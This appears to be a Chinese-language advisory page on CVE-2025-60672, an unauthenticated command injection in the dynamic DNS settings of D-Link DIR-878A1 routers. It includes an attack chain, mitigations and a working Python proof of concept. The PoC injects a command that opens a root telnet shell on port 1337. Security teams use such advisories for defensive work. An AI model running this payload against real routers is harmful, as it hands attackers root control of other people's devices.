IPBUF安全漏洞报告
English
CVE-2025-60672 CVSS 6.5 中危

CVE-2025-60672 D-Link DIR-878A1路由器未授权命令注入漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-60672
漏洞类型
命令注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
D-Link DIR-878A11路由器固件FW101B04.bin

相关标签

命令注入远程代码执行D-LinkDIR-878A1路由器漏洞未授权访问NVRAMCVE-2025-60672

漏洞概述

CVE-2025-60672是D-Link DIR-878A1路由器固件中的一个严重安全漏洞,属于未经认证的远程命令注入漏洞。该漏洞存在于路由器的Web管理界面功能中,特定于SetDynamicDNSSettings(动态DNS设置)功能模块。攻击者可以通过构造恶意的HTTP请求,无需任何认证即可向路由器注入并执行任意系统命令,从而完全控制设备。此漏洞影响使用FW101B04.bin固件版本的D-Link DIR-878A1设备,攻击者可利用该漏洞进行僵尸网络构建、数据窃取、中间人攻击等恶意活动。由于路由器通常位于网络边界且24小时在线,此类漏洞对网络安全构成重大威胁。

技术细节

该命令注入漏洞的根本原因在于用户输入验证不足。在D-Link DIR-878A1路由器的Web管理功能中,SetDynamicDNSSettings功能通过prog.cgi处理用户请求。攻击者可通过HTTP请求中的ServerAddress和Hostname参数注入恶意命令。这些参数值首先被存储到NVRAM(非易失性随机访问存储器)中,随后被rc守护进程读取并用于构造系统命令。构造的命令最终通过twsystem()函数执行,该函数是system()的包装器。由于参数未经任何安全过滤或转义,攻击者可以在参数中插入shell命令分隔符(如分号、管道符等),使命令在目标设备上以root权限执行。由于HTTP服务监听在网络接口,攻击者可在无需认证的情况下远程触发此漏洞。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标D-Link DIR-878A1路由器,并确认其运行受影响的固件版本FW101B04.bin
STEP 2
步骤2: 构造恶意请求
攻击者构造包含恶意命令的HTTP POST请求,目标指向/prog.cgi端点,通过ServerAddress参数注入shell命令
STEP 3
步骤3: 发送恶意请求
无需任何认证,直接发送特制的HTTP请求到路由器的Web管理接口,触发SetDynamicDNSSettings功能
STEP 4
步骤4: NVRAM存储
恶意payload被存储到路由器的NVRAM中,持久化保存
STEP 5
步骤5: 命令执行
rc守护进程读取NVRAM中的ServerAddress参数,通过twsystem()函数执行构造的命令,攻击者命令以root权限运行
STEP 6
步骤6: 建立持久化访问
攻击者可通过注入启动telnetd、添加后门用户或建立反向shell等方式获取设备的持久控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-60672 PoC - D-Link DIR-878A1 Command Injection # Target: D-Link DIR-878A1 router with firmware FW101B04.bin target_ip = "192.168.0.1" # Router IP address target_url = f"http://{target_ip}/prog.cgi" # Malicious payload - injects command to create backdoor user # The ServerAddress parameter is vulnerable to command injection malicious_payload = ";telnetd -p 1337 -l /bin/sh &" # Prepare the exploit request data = { "SetDynamicDNSSettings": "1", "ServerAddress": malicious_payload, "Hostname": "attacker-controlled-hostname", "Enable": "1" } print(f"[*] Exploiting CVE-2025-60672 on {target_ip}") print(f"[*] Sending malicious payload: {malicious_payload}") try: # Send the crafted HTTP request without authentication response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully") print("[+] Payload should be stored in NVRAM and executed by rc daemon") print("[+] Telnet backdoor should be active on port 1337") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Additional verification - check if router responds to our command verify_url = f"http://{target_ip}/status.cgi" try: verify_response = requests.get(verify_url, timeout=10) print(f"[*] Router status check: {verify_response.status_code}") except: print("[*] Router may be rebooting or payload executed")

影响范围

D-Link DIR-878A1 固件 FW101B04.bin

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)禁用路由器的远程Web管理功能,仅通过本地局域网访问;2)在防火墙或路由器上设置访问控制列表,仅允许受信任的IP地址访问管理界面;3)监控网络流量和设备日志,及时发现异常请求;4)考虑使用VPN等安全通道访问路由器管理界面;5)如果设备不再需要动态DNS功能,建议禁用该功能以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表